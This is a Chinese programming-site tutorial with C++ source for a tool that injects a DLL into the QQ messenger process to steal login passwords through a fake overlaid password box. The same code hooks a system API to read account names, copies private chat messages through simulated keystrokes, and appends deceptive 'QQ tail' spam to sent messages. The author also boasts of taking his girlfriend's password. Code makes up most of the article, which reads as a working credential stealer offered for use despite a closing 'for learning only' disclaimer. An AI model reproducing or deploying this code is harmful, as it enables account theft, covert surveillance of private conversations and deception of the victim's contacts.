程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> VC >> 關於VC++ >> 如何截取QQ密碼和聊天內容、去掉QQ廣告欄、添加QQ尾巴

如何截取QQ密碼和聊天內容、去掉QQ廣告欄、添加QQ尾巴

編輯:關於VC++

前言

思路分析

進入QQ進程

遠程注入DLL

截取QQ登錄密碼

截取本機QQ賬號和昵稱

截取聊天內容

增加QQ尾巴

去掉QQ廣告欄

鄭重申明

結束語

前言

中國網民沒有不熟悉QQ的,QQ玩家沒有不知道珊瑚蟲和彩虹的去廣告顯IP版QQ的,有段時間QQ尾巴也很盛行,就是每次聊天的時候它自動在你的聊天文字後面加一段話,欺騙你的QQ網友上當。如今的網絡就好比武俠小說裡的江湖,行走江湖的劍客須有絕世武功方可不倒於對手的劍下。

本文將向你講述如何截取QQ密碼和聊天內容,如何將QQ的廣告欄去掉,並添加自定的QQ尾巴。

思路分析

要截獲QQ密碼,大家一定想到鍵盤鉤子,2006版以前的QQ用這種方法的確可以截獲到QQ密碼,我也曾經用這種方法將我女朋友的QQ密碼給弄過來了,~~,但2007版以後的QQ在密碼輸入框裡做了大量的手腳,即使用spy++也無法截取到任何消息,鍵盤鉤子也失效了。我們總是幸運的,QQ登錄窗口的消息還是可以獲取到,既然鉤子不能用了,那我們何不換種思維方式走走捷徑呢?修改登錄窗口的回調函數地址,截取其所有消息,並創建一個虛假的密碼輸入框來到達截取密碼的目的,就好比在復寫紙上寫字,字跡會留下痕跡。

騰訊為了保護聊天內容的安全性,防止QQ尾巴的干擾,對聊天的文字輸入框用額外的控件做了特殊處理,同樣不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息來取得其中的文字內容。其實這個問題好解決,只要用模擬鍵盤程序模擬“Ctrl+A”->“Ctrl+C”就可以得到聊天內容了。

去QQ廣告就更容易了,只要找到廣告顯示的子窗口,將它隱藏起來,然後在相同位置放一個自己的子窗口就可以了,如果獲取到IP地址或對方的地理位置等信息也可以顯示在這裡。

說到這裡,還有一個非常重要的問題,那就是我們的程序必須執行在QQ空間,因為Windows系統進程是受系統保護的,每個進程有自己獨立的內存空間,很多API函數只對同一個進程有效,我們必須解決這個問題。

進入QQ進程

要將我們自己寫的代碼執行在QQ進程空間中才能實現我們上面的的分析思路,我想到了兩種方法:

第一種方法還是鉤子,我們的代碼寫到一個dll動態鏈接庫裡,然後啟動系統鉤子,當任何一個進程啟動時,我們的dll將會被加載到該進程中,我們判斷是否為QQ進程,如果不是,我們的dll就立即卸載,否則我們就順利地進入到QQ進程空間了。這種方法有個缺點,就是任何進程啟動時我們的dll都會被加載,嚴重影響到系統性能,我們在學習鉤子的時候書本上也確實講過,系統鉤子最好少用,如果程序代碼執行效率不高的情況下,將影響系統性能,再好用的軟件也將變成垃圾而被用戶清除出去的。

第二種方法就是遠程dll注入,即用創建遠程線程的方法在QQ進程空間中注入一個我自己的線程,這種方法針對性很強,只對QQ進程進行操作,不操作其他進程,不影響系統性能,而且靈活性好,我們隨時可以將線程注入,也可以隨時撤銷,而第一種方法是系統鉤子內部控制的,我們無法干預。

遠程注入Dll

我們的程序分為兩個部分,一部分是exe執行程序,可以控制Dll的注入,另一部分就是我們要注入的Dll。

首先我們要找到系統中的QQ進程,這裡要用到ToolHelp32系列函數,以下函數能枚舉出系統所有的進程:

BOOL CProcessManage::EnumSystemProcess (
      OUT CStringArray *pStrAry_ProcessName/*=NULL*/,
      OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,
      OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,
      OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,
      OUT CStringArray *pStrAry_ProcessPath/*=NULL*/
    )
  {
    HANDLE hProcess = NULL;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );
    if ( hProcessSnap == INVALID_HANDLE_VALUE )
      return FALSE;

    BOOL bMore = ::Process32First(hProcessSnap,&pe32);
    while ( bMore )
    {
      hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
      if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );
      if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );
      if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );
      if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );
      if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );
      bMore = ::Process32Next(hProcessSnap,&pe32);
    }
    ::CloseHandle(hProcessSnap);
    return TRUE;
  }

從枚舉出的所有進程中找到QQ進程,如下代碼:

//
  // 枚舉出 “qq.exe”的進程
  //
  int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/,
      CUIntArray *pUIntAry_ProcessID/*=NULL*/,
      CStringArray *pStrAry_ProcessPath/*=NULL*/ )
  {
    CStringArray StrAry_ProcessName;
    CUIntArray UIntAry_ProcessID;
    CStringArray StrAry_ProcessPath;
    if ( !CProcessManage::EnumSystemProcess (
      &StrAry_ProcessName,
      &UIntAry_ProcessID,
      NULL,
      NULL,
      &StrAry_ProcessPath
      ) )
    {
      return -1;
    }
    ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );
    ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );

    int nCount = 0;
    for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )
    {
      CString csProcessName = StrAry_ProcessName.GetAt ( i );
      TRACE ( _T("%s\n"), csProcessName );
      csProcessName.MakeLower ();
      if ( csProcessName == _T("qq.exe") )
      {
        nCount ++;
        if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );
        if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );
        if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );
      }
    }

    return nCount;
  }

接下來我們使用函數VirtualAllocEx()/WriteProcessMemory()函數在QQ進程中申請內存空間,將我們的數據參數寫入到QQ進程內存空間裡,然後用CreateRemoteThread()函數在QQ進程空間中啟動一個遠程線程,將我們的dll執行在QQ進程空間中,如下函數既是:

typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );
  BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )
  {
    if ( dwPID < 1 ) return FALSE;
    ShowLogText ( FormatString(_T("發現新的QQ進程(ID:%u),現在注入遠程線程。\r\n"), dwPID) );
    BOOL bRet = TRUE;

    // 獲取dll文件路徑
    CString csDllPath = GetProgramDir ();
    csDllPath += _T("dllRemoteThread.Dll");
    TCHAR szDllPath[MAX_PATH] = {0};
    lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );

    // 定義變量
    void *pParaRemote = NULL;
    void *pDataRemote = NULL;
    HANDLE hProcess = NULL;

    if ( !bInjected )
    {
      // 打開遠程進程
      hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID);
      if (! hProcess ) return FALSE;

      // 在遠程進程中分配內存空間,並將數據寫入
      t_RemoteThreadPara tRemoteThreadPara = {0};
      strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );
      pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );
      ::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );
      pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );
      ::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );
    }
    // 裝載dll文件,並將參數傳入dll的數據共享區
    HMODULE hMod = LoadLibrary ( szDllPath );
    if ( hMod )
    {
      FUNC_SetRemoteParameter pfnSetRemoteParameter = \
        (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );
      if ( pfnSetRemoteParameter )
        pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );
    }
    else
    {
      bRet = FALSE;
    }
    if ( !bInjected )
    {
      // 創建遠程線程執行代碼
      DWORD dwThreadID = 0;
      HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)LoadLibrary,
        pDataRemote, 0, &dwThreadID );
      if ( HANDLE_IS_VALID(hThread) )
      {
        // 等待遠程線程結束
        ::WaitForSingleObject ( hThread, INFINITE );
        DWORD dwRetCode = 0;
        ::GetExitCodeThread ( hThread, &dwRetCode );
        TRACE ("run and return %d\n", dwRetCode );
      }
      else
      {
        bRet = FALSE;
      }
    }
    // 釋放資源
    if ( hProcess && pDataRemote )
      VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE );  
    if ( hMod ) FreeLibrary ( hMod );
    return bRet;
  }

截取QQ登錄密碼

當我們的Dll注入到QQ進程以後,我們就可以在裡面再啟動幾個線程來為我所用,其中一個線程定時調用EnumWindows()函數來獲取系統中的窗口,並找到QQ登錄窗口,然後調用如下代碼來修改窗口的過程地址:

// 修改相關窗口的 WindowProc 地址

ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow );

修改以後,QQ登錄窗口的所有消息都將WindowProc_QQLoginWindow()函數獲取。

我們用EnumChildWindows()找到密碼輸入框的子窗口,然後創建一個EDIT控件,其大小和位置與QQ密碼輸入框一樣,這樣就覆蓋在QQ密碼輸入框的上邊了,用戶在輸入密碼時實際上輸入到我們的框中來了。

為了保證我們的編輯框始終獲得輸入焦點,並且當QQ登陸框最小化或還原時還有窗口移動時不出現破綻,有幾個消息我們需要處理:

WM_MOVING – 當QQ登錄窗口移動時,我們重新計算相對位置,並將我們的編輯框移動到新位置上。

WM_SYSCOMMAND – 當QQ登錄窗口最小化、還原和關閉時,我們的編輯框應該隱藏、顯示和銷毀。

WM_COMMAND – 當用戶點擊“登錄”按鈕時我們要做相應處理,將我們的密碼發送給QQ的密碼輸入框;當QQ的密碼輸入框獲得焦點時,我們應該將焦點轉移到我們的編輯框中。

當用戶輸入完密碼按“回車”鍵或點“登錄”按鈕時,我們先將QQ登錄窗口隱藏起來,以免露出破綻,然後將我們收到到的密碼在QQ密碼輸入框中重新輸入一次,並發送“回車”按鍵消息,此時QQ真正開始登錄,而密碼已經悄悄地落入我手,哇哈哈……

如下圖:

上圖中紅方框指引的輸入框是我們的程序所創建,不是QQ的密碼輸入框,因為QQ的密碼輸入框裡的文字是不能被選取,也不能復制粘貼的,而我們的輸入框則可以。

截取本機QQ賬號和昵稱

我們要截獲密碼或聊天內容等,首先應該先要獲取到本機的QQ賬號和昵稱,要不然我們截獲的內容歸屬於誰呢?沒有歸屬的信息是毫無意義的,我想過很多辦法來獲取當前登錄的QQ 賬號和昵稱,用讀取遠程進程內存空間的辦法可以獲取,但速度太慢,最後想到在我們的系統托盤裡就有這些信息的提示,如下圖:

那我們如何才能獲取到系統托盤的提示信息呢?那我們就要追溯到托盤的產生根源了,托盤圖標是利用Win32 API函數Shell_NotifyIcon()產生的,所以我這裡想到的辦法就是Hook API的方法,就是替換Win32API函數地址,在QQ調用Shell_NotifyIcon()函數產生系統托盤前先調用我們的函數,如下代碼所示:

typedef BOOL (WINAPI *PFN_Shell_NotifyIconA) ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
  BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
  CAPIHook g_Shell_NotifyIconA ("shell32.dll", "Shell_NotifyIconA", (PROC) Hook_Shell_NotifyIconA, TRUE);

以上代碼是將Win32API系統函數Shell_NotifyIconA()地址修改為我們自己的函數地址“Hook_Shell_NotifyIconA”,這樣以來QQ對系統托盤做任何操作時都會先調用我們的函數“Hook_Shell_NotifyIconA”,我們就可以從托盤提示文字裡找到本地登錄的QQ號碼和昵稱了。

但是,如果我們的程序在執行前QQ已經啟動了,QQ進程不會調用Shell_NotifyIcon()函數了,那我們也就無法獲得其QQ號碼和昵稱了,怎麼辦?我們可以嘗試將“Explorer”(資源管理器)進程kill掉,這時Windows會自動重新啟動一個“Explorer”,這時QQ進程就重新調用Shell_NotifyIcon()來創建一個新的托盤圖標了,那我們可以假冒系統給QQ進程發一條托盤重建的消息讓QQ自己調用Shell_NotifyIcon()函數重建托盤圖標,這時我們就可以竊取到本地登錄的QQ賬號和昵稱了。

//
  // 通知QQ重建托盤圖標
  //
  void NotifyQQRecreateTray ()
  {
    if ( m_pQQMate )
    {
      m_pQQMate->m_csLocalQQAccount.Empty();
      m_pQQMate->m_csLocalQQNickname.Empty();
      memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );
    }

    CUIntArray UIntAry_ThreadID;
    CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );
    for ( int i=0; i<UIntAry_ThreadID.GetSize(); i++ )
    {
      EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );
    }
  }

  BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )
  {
    TCHAR szClassName[255] = {0};
    ::GetClassName ( hwnd, szClassName, COUNT(szClassName) );
    if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )
    {
      if ( !WM_TASKBARCREATED )
        WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );
      SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );
    //  HwDbgLog ( L_DEBUG, _T("刪除托盤圖標: hwnd - 0x%X, Class - %s"),
    //    hwnd, szClassName );
    }

    return TRUE;
  }

被Hook後的QQ托盤信息

截取聊天內容

在我們注入到QQ進程空間的Dll中啟動線程,定時枚舉系統中的窗口,當找到聊天窗口時我們需要收集到聊天內容。

聊天內容分為“發送”內容和“接收”內容。“接收”的文字內容未做限制,直接用WM_GET_TEXT便能獲得。發送的內容比較麻煩一點,首先我們要知道用戶何時發送(點“發送”按鈕、按快捷鍵“Ctrl+Enter”、按快捷鍵“Alt+S”),要解決這些問題,我同樣需要截獲聊天窗口的消息。

首先我們用EnumWindows()函數在線程中定時查找QQ聊天窗口,一旦發現新的聊天窗口出現,我們立即修改窗口過程函數地址:

// 修改相關窗口的 WindowProc 地址
    ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow,
      &pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow,
      WindowProc_ChatWindow );

以上代碼將QQ聊天窗口的過程函數改為我們自己的函數“WindowProc_ChatWindow()”,

那用戶到底什麼時候發送聊天信息呢?我們只要截獲消息711即可,收到該消息以後我們將觸發一個事件,我們另外的線程便開始工作,將聊天內容通過模擬鍵盤事件的方式復制出來,然後再保存到我們另外的內存區域裡。

//
  // 獲取用戶正要發送的聊天內容,保存到數組中
  //
  CString CQQMate::GetWillSentChatText ()
  {
    HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );
    int nSleepTime = 100;

    // 激活“發送文字信息的編輯框”並獲取輸入焦點
    ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );
    CRect rcEditForSendMessage(0,0,0,0);
    ::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );
    ::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );  
    MouseLeftClick ( rcEditForSendMessage.CenterPoint() );

    // 將要發送的文字內容拷貝出來並保存起來
    CString csSendingText;
    for ( int i=0; i<10; i++ )
    {
      GetClipBoardText ();  // 清空剪貼板
      KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' );
      Sleep(nSleepTime);
      KeyboardCombineEvent ( VK_CONTROL, 'C', '\0' );
      Sleep(nSleepTime);
      csSendingText = GetClipBoardText();
      HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );
      if ( !csSendingText.IsEmpty() )
        break;
    }
    HwDbgLog ( L_DEBUG, _T("發送文字信息: %s"), csSendingText );
    if ( csSendingText.IsEmpty() )
    {
      return csSendingText;
    }
    else
    {
      m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );
    }

    return csSendingText;
  }

增加QQ尾巴

在獲取到聊天內容後,還可以用模擬鍵盤的方式將QQ尾巴信息加到要發送的文字後面,如下代碼所示:

CString CQQMate::AddQQTailText ()
  {
  	HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") );
  	int nSleepTime = 100;
  	CString csQQTail;
  	// 將“消息模式”的聊天窗口透明化隱藏起來
  	if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )
  	{
  //		TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 );
  		::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE );
  	}
  	// 增加QQ尾巴內容
  	int nQQTailPos = -1;
  	csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount );
  	if ( !csQQTail.IsEmpty() )
  	{
  		if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
  			csQQTail.Insert ( 0, _T("\r\n") );
  		CopyTextToClipboard ( csQQTail );
  		Sleep(nSleepTime);
  		if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
  			KeyboardCombineEvent ( VK_CONTROL, VK_END, '\0' );
  		else
  			KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' );
  		Sleep(nSleepTime);
  		KeyboardCombineEvent ( VK_CONTROL, 'V', '\0' );
  		Sleep(nSleepTime);
  	}
  	HwDbgLog ( L_DEBUG, _T("QQ尾巴內容 = %s"), csQQTail );
  	return csQQTail;
  }

由於我們是在用戶做了發送操作(點“發送”按鈕、按快捷鍵“Ctrl+Enter”、按快捷鍵“Alt+S”)之後才進行我們的處理,所以簡單地將QQ尾巴信息加到發送框裡是發送不出去的,所以我們必須在增加QQ尾巴信息完成後再向QQ聊天窗口發送一個“發送按鈕”被點擊的消息,如下代碼所示:

if ( !csQQTail.IsEmpty() )
  {
    ::PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow,
      WM_COMMAND,
      (WPARAM)CONTROL_ID_CHAT_BUTTON_SEND,
      LPARAM(NULL) );
  }

看看程序效果圖:

輸入聊天文字

發送聊天信息後自動增加了QQ尾巴

去掉QQ廣告欄

用EnumChildWindows() API函數查找到廣告欄子窗口句柄,然後隱藏它,如下代碼所示:

if ( !IsWindow(pFindQQChatInfoPara->m_hWndAD1) )
    {
      // 類名符合嗎
      if ( strstr_hw ( szClassName, _T("static") ) )
      {
        CRect rc, rcAD1(248,22,490,62);
        ::GetWindowRect ( hWnd, &rc );
        CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rc );
        if ( rcAD1.EqualRect(&rc) ||
          ( rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) ||
          ( rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) )
          )
        {
          pFindQQChatInfoPara->m_hWndAD1 = hWnd;
          ::ShowWindow ( hWnd, SW_HIDE );
        }
      }
    }

接著將我們需要顯示的文字內容寫上去,可以截獲消息WM_PAINT和WM_ERASEBKGND,用設備上下文句柄顯示我們的內容,如下代碼所示:

if ( uMsg == WM_PAINT || uMsg == WM_ERASEBKGND )
    {
      CRect rcAD1(248,22,490,62);
      SetBkMode ( (HDC) wParam, TRANSPARENT );
      if ( uMsg == WM_ERASEBKGND )
      {
        HwDbgLog ( L_DEBUG, _T("WM_ERASEBKGND ::FillRect") );
        CBrush brsBkGnd;
        brsBkGnd.CreateSolidBrush( RGB(114,201,252) );
        FillRect ( (HDC) wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle() );
      }

      if ( uMsg == WM_ERASEBKGND || uMsg == WM_PAINT )
      {
        CString csAD1 = _T("這是廣告位置,已經被屏蔽掉了。\r\n ——謝紅偉");
        ::DrawText ( (HDC) wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER );
      }
    }

執行效果如下圖:

有廣告的QQ聊天窗口

去掉廣告欄之後的聊天窗口

鄭重申明

本代碼和本代碼的相關文章僅供學習和技術交流之用,嚴禁用於非法用途,否則本人概不負任何責任!

結束語

本程序代碼支持多個QQ同時登錄的處理,但界面上只顯示最後一個登錄的QQ信息。

知識就是力量,知識共享將具有推動時代進步的力量。希望我能為中國的軟件行業盡一份薄力。

你可以任意修改復制本代碼,但請保留版權信息文字不要修改。

由於水平有限,錯誤再所難免,請知情者原諒並告知,多謝!

本文配套源碼

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved